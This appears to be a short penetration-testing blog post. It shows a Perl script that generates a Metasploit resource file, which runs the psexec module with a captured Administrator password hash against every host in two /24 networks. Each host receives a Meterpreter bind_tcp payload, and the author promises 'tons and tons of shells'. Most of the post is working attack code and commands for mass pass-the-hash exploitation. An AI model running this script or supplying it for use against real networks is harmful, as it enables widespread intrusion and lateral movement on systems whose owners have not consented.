Metasploit PSEXEC Scanner (via Perl)

Last updated at Fri, 12 Jan 2024 01:35:45 GMT

Metasploit's pexec module is one of my favorite modules. It does exactly what I need and it does it really well. One thing I wish that Metasploit had, is a scanner version of the psexec exploit module. So I decided to build my own with Perl.

Okay, assume we have the following networks: 192.168.1.0/24, 192.168.2.0/24 etc etc... We know the local admin account is Administrator and the hash for the account is ADMINISTRATOR:HASH.

First, we build a small Perl script to generate a configuration file:

#!/usr/bin/perl -w 
use strict; 
print "use windows/smb/psexec\n"; 
print "set SMBUser Administrator\n"; 
print "set SMBPass ADMINISTRATOR:HASH\n"; 
print "set PAYLOAD windows/meterpreter/bind_tcp\n"; 
# first range
foreach(1.. 254) { 
  print "set RHOST 192.168.1.$_\n"; 
  print "exploit\n"; 
  print "sleep 2\n"; 
} 
# second range
foreach(1.. 254) { 
  print "set RHOST 192.168.2.$_\n"; 
  print "exploit\n"; 
  print "sleep 2\n"; 
}

Once we have this script built, we simply execute it and save the result to a file named psexec.rc.

perl psexec-192-168.pl > psexec.rc

Lastly, we leverage Metasploit's ability to execute commands passed into meterpreter via an resource file. Once Metasploit loads psexc.rc, it will execute all of the commands we generated using the Perl script. This basically gives us a nice way to create an exploit scanner.

msfconsole -r psexec.rc

Loading psexec.rc will exploit all of the systems within the networks specified and the result will be tons and tons of shells.

Regards,
Jabra